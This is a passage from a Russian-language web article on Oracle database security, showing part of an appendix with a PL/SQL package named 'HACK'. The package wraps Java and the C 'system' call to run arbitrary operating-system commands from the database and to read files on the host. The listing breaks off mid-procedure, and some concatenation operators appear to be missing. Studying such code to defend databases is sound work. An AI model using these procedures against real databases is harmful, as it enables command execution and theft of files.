Базы данных Oracle - статьи


Oracleinfsec.shtml - часть 14


A.1 Пакет PL/SQL “HACK”

-- HACK.SQL -- (c) 2001, Oracle Corporation -- Author: Bridesmaid (Howard Smith) -- -- Пакет HACK, содержащий полезные процедуры для злоупотребления -- привилегиями базы данных

create or replace package hack as procedure javaexecute(command varchar2); -- Выполняет команду, используя Java procedure sysexecute(command varchar2); -- Выполняет команду, используя SYSTEM procedure exists(filename varchar2, dir varchar2); -- Проверяет, существует ли файл procedure browse(filename varchar2, dir varchar2); -- Выводит содержимое файла end;

create or replace package body hack as

-- -- Определяет функцию PL/SQL wrapper JEXECUTE для класса Java "JExecute", определенного внешне --

function jexecute(command varchar2) return varchar2 is language java name 'JExecute.JExec(java.lang.String) return java.lang.String';

-- -- Удобная для пользователя версия, которая выполняет заданную команду и выводит статус возврата --

procedure javaexecute(command varchar2) is result varchar2(32000); begin dbms_output.enable(1000000); result := jexecute(command); dbms_output.put_line(result); end;

-- -- Процедура "обертки" служебного вызова "system", определенного в библиотеке libsys --

function syscall(call varchar2) return binary_integer is external library libsys name "system" calling standard c parameters(call by reference string, return ub4);

-- -- Процедура "обертки" для syscall --

procedure sysexecute(command varchar2) as begin dbms_output.enable(1000000); dbms_output.put_line('Executing: 'command); dbms_output.put_line('Command completed with status: ' syscall(command)); end;

-- -- Проверка существования указанного файла в файловой системе ОС --

procedure exists(filename varchar2, dir varchar2) as Lob_loc bfile; begin dbms_output.enable(1000000); dbms_output.put_line('Checking file:'filename); dbms_output.put_line('Directory: 'dir);

-- Сначала мы должны создать каталог

declare begin execute immediate ('create or replace directory hackdir as '''dir''''); exception when others then dbms_output.put_line('Directory creation failed'sqlerrm); return; end;




Начало  Назад  Вперед



Книжный магазин